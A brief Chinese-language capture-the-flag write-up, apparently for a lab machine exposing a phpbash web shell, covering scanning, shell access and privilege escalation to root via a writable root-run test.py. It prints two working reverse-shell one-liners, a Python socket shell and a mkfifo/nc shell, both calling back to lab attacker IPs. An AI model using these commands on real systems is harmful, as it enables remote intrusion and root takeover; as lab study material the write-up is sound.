1、nmap
就一个80.
打开看看都很直白提示了是phpbash
拿dirbuster扫一扫
看到phpbash,点进去。进入网页版bash
2、phpbash漏洞利用
把这个shell弹到我本机来
命令有很多,但我试了几个没反应
最后这个OK
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.57",31337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
收到后,如果是非tty,看不到字的那种shell,参考swagshop
老套路linpeash.sh
发现这俩个
也就是还有个用户是scriptmanager。
3、提权至scriptmanager
而我www-data的shell又有权力无密码切成scriptmanager
输入sudo -u scriptmanager /bin/bash
切换成功
4、提权至root
再用linpeas扫一扫,这回是以scriptmanager的角度,看能否扫出新东西。另外我发现linpeas在扫进程不如pspy。接着再补pspy来扫
我发现script路径我有整个修改&写的权限,毕竟我是scriptmanager。虽然我搜了下也没太明白这个,但从字面意思就是管理script这些文件的
其中test.py我也有写的权限,这个py脚本在这里很突兀。可能是可以利用的,比如我把脚本改成弹shell的呢?
接着在pspy的扫描里,果然发现了是root (uid0)在执行这个py。既然root在执行这个py,我又可以改写这个py,那我就改写内容改成弹shell给我的内容,root在执行时就会把root shell弹给我,这就是提权思路。
就很简单了。有些命令搞不定,不知为何,最后用这个OK
进入scripts路径下。修改文件内容,直接一句话
echo "import os;os.system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.24 4444 >/tmp/f')" > test.py
收到,搞定